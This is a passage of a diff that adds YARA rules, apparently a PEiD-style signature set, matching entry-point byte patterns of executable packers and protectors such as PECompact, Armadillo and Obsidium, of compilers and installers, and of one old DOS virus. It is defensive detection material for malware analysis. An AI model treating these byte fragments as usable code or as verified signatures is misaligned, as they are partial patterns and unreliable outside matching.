+	meta:
+		description = ".BJFnt v1.3"
+	strings:
+		$0 = {EB ?? 2E 90 ?? ?? 8C DB 8C CA 8E DA FA 8B EC BE ?? ?? BC ?? ?? BF}
+		$1 = {EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB}
+		$2 = {EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60}
+		$3 = {EB 03 05 EB 02 EB FC 55 EB 03 EB 04 05 EB FB EB 53 E8 04 00 00 00 72}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint
+}
+rule _RLPack_Full_Edition_117_iBox_LZMA_
+{
+	meta:
+		description = "RLPack Full Edition 1.17 iBox (LZMA)"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D B5 67 30 00 00 8D 9D 66 03 00 00 33 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 6A 40 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v168__v184_
+{
+	meta:
+		description = "PECompact v1.68 - v1.84"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11}
+	condition:
+		$0 at entrypoint
+}
+rule _PROPACK_v208_
+{
+	meta:
+		description = "PRO-PACK v2.08"
+	strings:
+		$0 = {83 EC ?? 8B EC BE ?? ?? FC E8 ?? ?? 05 ?? ?? 8B C8 E8 ?? ?? 8B}
+		$1 = {8C D3 8E C3 8C CA 8E DA 8B 0E ?? ?? 8B F1 83 ?? ?? 8B FE D1 ?? FD F3 A5 53}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Heloween1172_
+{
+	meta:
+		description = "Vx: Heloween.1172"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+		$1 = {E8 ?? ?? 5E 81 EE ?? ?? 56 50 06 0E 1F 8C C0 01 ?? ?? 01 ?? ?? 80 ?? ?? ?? ?? 8B ?? ?? A3 ?? ?? 8A ?? ?? A2 ?? ?? B8 ?? ?? CD 21 3D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Patch_Creation_Wizard_v12_Memory_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard v1.2 Memory Patch"
+	strings:
+		$0 = {6A 00 E8 9B 02 00 00 A3 7A 33 40 00 6A 00 68 8E 10 40 00 6A 00 6A 01 50 E8 B5 02 00 00 68 5A 31 40 00 68 12 31 40 00 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 68 A2 30 40 00 6A 00 E8 51 02 00 00 85 C0 74 31 FF 35 62 31 40 00 6A 00 6A 30 E8 62 02 00 00 E8 0B 01 00 00 FF 35 5A 31 40 00 E8 22 02 00 00 FF 35 5E 31 40 00 E8 53 02 00 00 6A 00 E8 22 02 00 00 6A 10 68 F7 30 40 00 68 FE 30 40 00 6A 00 E8 63 02 00 00 6A 00 E8 08 02 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 75 6B 6A 01 FF 35 7A 33 40 00 E8 38 02 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 34 02 00 00 68 00 30 40 00 6A 65 FF 75 08 E8 2B 02 00 00 68 51 30 40 00 6A 67 FF 75 08 E8 1C 02 00 00 68 A2 30 40 00 6A 66 FF 75 08 E8 0D 02 00 00 8B 45 08 A3 7E 33 40 00 68 3B 11 40 00 68 E8 03 00 00 68 9A 02 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v200_alpha_38_
+{
+	meta:
+		description = "PECompact v2.00 alpha 38"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F 00 50 57 56 FF D1 58 03 43 08 8B F8 8B 53 14 8B F0 8B 46 FC 83 C0 04 2B F0 89 56 08 8B 4B 10 89 4E 18 FF D7 89 85 BB 10 00 10 5E 5A 5F 59 5B 5D 9D FF E0 8B 80 BB 10 00 10 FF E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {B8 ?? ?? ?? ?? 80 B8 BF 10 00 10 01 74 7A C6 80 BF 10 00 10 01 9C 55 53 51 57 52 56 8D 98 0F 10 00 10 8B 53 14 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 8B F8 50 8B 33 8B 53 14 03 F2 8B 4B 0C 03 CA 8D 85 B7 10 00 10 FF 73 04 8F}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Turbo_C_20_1988_EXE_
+{
+	meta:
+		description = "Turbo C 2.0 (1988) [EXE]"
+	strings:
+		$0 = {BA 00 00 2E 89 16 00 01 B4 30 00 00 8B 2E 02 00 8B 1E 2C 00 8E DA A3 00 00 8C 06 00 00 89 1E 00 00 89 2E 00 00 C7 06 00 00 FF FF E8 00 00 C4 3E 00 00 8B C7 8B D8 B9 FF 7F 26 81 3D 38 37 75 19 26 8B 55 02 80 FA 3D 75 10 80 E6 DF FF 06 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_PEX_099_
+{
+	meta:
+		description = "PseudoSigner 0.1 [PEX 0.99"
+	strings:
+		$0 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+		$1 = {60 E8 01 00 00 00 55 83 C4 04 E8 01 00 00 00 90 5D 81 FF FF FF 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Macs_StuffIt_Archive_
+{
+	meta:
+		description = "Mac`s StuffIt Archive"
+	strings:
+		$0 = {53 49 54 21 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v200_
+{
+	meta:
+		description = "Armadillo v2.00"
+	strings:
+		$0 = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NsPack_31__North_Star_h_
+{
+	meta:
+		description = "NsPack 3.1 -> North Star (h)"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? FF FF 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modifier_v01x_
+{
+	meta:
+		description = "UPX Modifier v0.1x"
+	strings:
+		$0 = {50 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Installer_v512_
+{
+	meta:
+		description = "Inno Installer v5.1.2"
+	strings:
+		$0 = {55 8B EC 83 C4 CC 53 56 57 33 C0 89 45 F0 89 45 DC E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 55 68 ?? ?? ?? ?? 64 FF 32 64 89 22}
+		$1 = {9C 60 E8 00 00 00 00 58 BB DC 1E 00 00 2B C3 50 68 ?? ?? ?? ?? 68 00 50 00 00 68 D8 00 00 00 E8 C1 FE FF FF E9 97 FF FF FF CC CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_500__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 5.00 -> Silicon Realms Toolworks"
+	strings:
+		$0 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75}
+		$1 = {E8 E3 40 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 44 15 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 36 13 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 C7 12 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? 03 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 48 11 00 00 59 89 7D FC FF 75 08 E8 01 49 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 66 D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 AF F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 EE 0F 00 00 59 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Duals_eXe_Encryptor_10b__Dual_
+{
+	meta:
+		description = "Dual's eXe Encryptor 1.0b -> Dual"
+	strings:
+		$0 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00}
+		$1 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50}
+		$2 = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _PECompact_110_beta_4_
+{
+	meta:
+		description = "PECompact 1.10 beta 4"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 00 87 DD 8B 85 95 60 40 00 01 85 03 60 40 00 66 C7 85 00 60 40 00 90 90 BB 44 09 00 00 03 9D 99 60 40 00 03 9D 95 60 40 00 53 53 53 58 2D 6A}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v110_Eng__dulekxt__MASM32__TASM32__Microsoft_Visual_Basic_
+{
+	meta:
+		description = "FSG v1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32 / Microsoft Visual Basic)"
+	strings:
+		$0 = {F7 D0 EB 02 CD 20 BE BB 74 1C FB EB 02 CD 20 BF 3B ?? ?? FB C1 C1 03 33 F7 EB 02 CD 20 68}
+		$1 = {F7 D8 0F BE C2 BE 80 ?? ?? 00 0F BE C9 BF 08 3B 65 07 EB 02 D8 29 BB EC C5 9A F8 EB 01 94}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _nPack_V112752006Beta__NEOx__200800212_
+{
+	meta:
+		description = "nPack V1.1.275.2006.Beta -> NEOx * 200800212"
+	strings:
+		$0 = {55 8B EC 51 51 56 57 BE ?? ?? ?? ?? 8D 7D F8 66 A5 A4 BE ?? ?? ?? ?? 8D 7D FC 8D 45 FC 66 A5 50 8D 45 F8 50 A4 FF 15 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 5F 5E 75 05 E8 02 00 00 00 C9 C3 E8 46 00 00 00 E8 73 00 00 00 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9C 00 00 00 E8 1A 02 00 00 E8 CA 06 00 00 E8 19 06 00 00 A1 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? C3 C3 56 57 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 57 FF D6 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 5F A3 ?? ?? ?? ?? 5E C3}
+	condition:
+		$0 at entrypoint
+}
+rule _CAN_Crunched_ANsi_file_
+{
+	meta:
+		description = "CAN (Crunched ANsi) file"
+	strings:
+		$0 = {CA 01}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_60__80_
+{
+	meta:
+		description = "Microsoft Visual C++ 6.0 - 8.0"
+	strings:
+		$0 = {3D 00 10 00 00 73 0E F7 D8 03 C4 83 C0 04 85 00 94 8B 00 50 C3 51 8D 4C 24 08 81 E9 00 10 00 00 2D 00 10 00 00 85 01 3D 00 10 00 00 73 EC 2B C8 8B C4 85 01 8B E1 8B 08 8B 40 04 50 C3}
+		$1 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+		$2 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 8D 45 F0 64 A3 00 00 00 00 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51}
+		$3 = {68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 8B 44 24 10 89 6C 24 10 8D 6C 24 10 2B E0 53 56 57 8B 45 F8 89 65 E8 50 8B 45 FC C7 45 FC FF FF FF FF 89 45 F8 C3 8B 4D F0 64 89 0D 00 00 00 00 59 5F 5E 5B C9 51 C3}
+		$4 = {8B 44 24 08 85 C0 0F 84 ?? ?? ?? ?? 83 F8 01 8B 0D ?? ?? ?? ?? 8B 09 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 20 00 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 05 ?? ?? ?? ?? 59 59 33 C0 40 C2 0C 00}
+		$5 = {8B 44 24 08 85 C0 0F 84 ?? ?? ?? ?? 83 F8 01 8B 0D ?? ?? ?? ?? 8B 09 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 68 80 00 00 00 FF 15 ?? ?? ?? ?? 85 C0 59 A3 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 20 00 A1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8}
+		$6 = {8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C 75 09 8B 44 24 04 F7 E1 C2 10 00 53 F7 E1 8B D8 8B 44 24 08 F7 64 24 14 03 D8 8B 44 24 08 F7 E1 03 D3 5B C2 10 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint or $3 at entrypoint or $4 or $5 or $6
+}
+rule _GPInstall_v50332_
+{
+	meta:
+		description = "GP-Install v5.0.3.32"
+	strings:
+		$0 = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+		$1 = {55 8B EC 33 C9 51 51 51 51 51 51 51 53 56 57 B8 C4 1C 41 00 E8 6B 3E FF FF 33 C0 55 68 76 20 41 00 64 FF 30 64 89 20 BA A0 47 41 00 33 C0 E8 31 0A FF FF 33 D2 A1 A0}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SecurePE_1X_
+{
+	meta:
+		description = "SecurePE 1.X"
+	strings:
+		$0 = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+		$1 = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Obsidium_1337__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.7 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+		$1 = {EB 02 ?? ?? E8 2C 00 00 00 EB 04 ?? ?? ?? ?? EB 04 ?? ?? ?? ?? 8B 54 24 0C EB 02 ?? ?? 83 82 B8 00 00 00 27 EB 04 ?? ?? ?? ?? 33 C0 EB 02 ?? ?? C3 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 03 ?? ?? ?? EB 01 ?? 50 EB 02 ?? ?? 33 C0 EB 02 ?? ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 02 ?? ?? E9 FA 00 00 00 EB 04 ?? ?? ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 04 ?? ?? ?? ?? 58 EB 04 ?? ?? ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03 ?? ?? ?? E8 23 27 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESHiELD_025__ANAKiN_DaVinci_
+{
+	meta:
+		description = "PESHiELD 0.25 -> ANAKiN [DaVinci"
+	strings:
+		$0 = {60 E8 2B 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Anskya_Binder_v11__Anskya_
+{
+	meta:
+		description = "Anskya Binder v1.1 -> Anskya"
+	strings:
+		$0 = {BE ?? ?? ?? 00 83 C6 01 FF E6 00 00 00 00 ?? ?? 00 00 00 00 00 00 00 00 00 ?? ?? ?? 00 ?? 02 ?? ?? 00 10 00 00 00 02 00}
+		$1 = {BE ?? ?? ?? 00 BB F8 11 40 00 33 ED 83 EE 04 39 2E 74 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SVK_Protector_v132_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "SVK Protector v1.32 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23 00 00 00 EB 03 C7 84 E8 84 C0 EB 03 C7 84 E9 75 67 B9 49 00 00 00 8D B5 C5 02 00 00 56 80 06 44 46 E2 FA 8B 8D C1 02 00 00 5E 55 51 6A 00 56 FF 95 0C 61 00 00 59 5D 40 85 C0 75 3C 80 3E 00 74 03 46 EB F8 46 E2 E3 8B C5 8B 4C 24 20 2B 85 BD 02 00 00 89 85 B9 02 00 00 80 BD B4 02 00 00 01 75 06 8B 8D 0C 61 00 00 89 8D B5 02 00 00 8D 85 0E 03 00 00 8B DD FF E0 55 68 10 10 00 00 8D 85 B4 00 00 00 50 8D 85 B4 01 00 00 50 6A 00 FF 95 18 61 00 00 5D 6A FF FF 95 10 61 00 00 44 65 62 75 67 67 65 72 20 6F 72 20 74 6F 6F 6C 20 66 6F 72 20 6D 6F 6E 69 74 6F 72 69 6E 67 20 64 65 74 65 63 74 65 64 21 21 21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 EB 05 B8 06 36 42 00 64 A0 23}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _DBPE_v210__Ding_Boy_
+{
+	meta:
+		description = "DBPE v2.10 -> Ding Boy"
+	strings:
+		$0 = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+	condition:
+		$0 at entrypoint
+}
+rule _Borland_Delphi_v40__v50_
+{
+	meta:
+		description = "Borland Delphi v4.0 - v5.0"
+	strings:
+		$0 = {50 6A ?? E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 ?? ?? ?? ?? C7 42 0C ?? ?? ?? ?? E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+		$1 = {50 6A 00 E8 ?? ?? FF FF BA ?? ?? ?? ?? 52 89 05 ?? ?? ?? ?? 89 42 04 C7 42 08 00 00 00 00 C7 42 0C 00 00 00 00 E8 ?? ?? ?? ?? 5A 58 E8 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Comt_010d_original_
+{
+	meta:
+		description = "Comt 0.10d (original)"
+	strings:
+		$0 = {45 4E 43 2E 43 4F 4D 2E 42 26 46 3D 0D 0A 25 30 30 25 40 40 50 5A 2D 72 6D 2D 72 6D 2D 4C 23 50 5F 52 5E 4E 31 35 52 58 2D 71 6E 2D 71 6E 50 2D 40 21 50 59 2D 21 70 2D 21 60 2D 21 30 50 5D 3D 0D 0A 58 2D 62 21 50 5F 57 52 5E 21 35 47 47 21}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v133_
+{
+	meta:
+		description = "PECompact v1.33"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NTkrnl_Secure_Suite__NTkrnl_team_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl team"
+	strings:
+		$0 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+		$1 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+		$2 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _PEtite_v22_
+{
+	meta:
+		description = "PEtite v2.2"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+		$1 = {B8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 FF 35 ?? ?? ?? ?? 64 89 25 ?? ?? ?? ?? 66 9C 60 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PK_Smart_10b_
+{
+	meta:
+		description = "PK Smart 1.0b"
+	strings:
+		$0 = {BA 00 00 8C C8 8B C8 03 C2 81 C1 00 00 51 B9 00 00 51 1E 8C D3 8D 6F 00 55 B1 00 51 FC 4B BE 3C 00 33 FF 8E D8 8E C3 B1 08 F3 A5 48 4A 79 EE 0E 07 8E DB 33 F6 33 FF CB}
+	condition:
+		$0 at entrypoint
+}
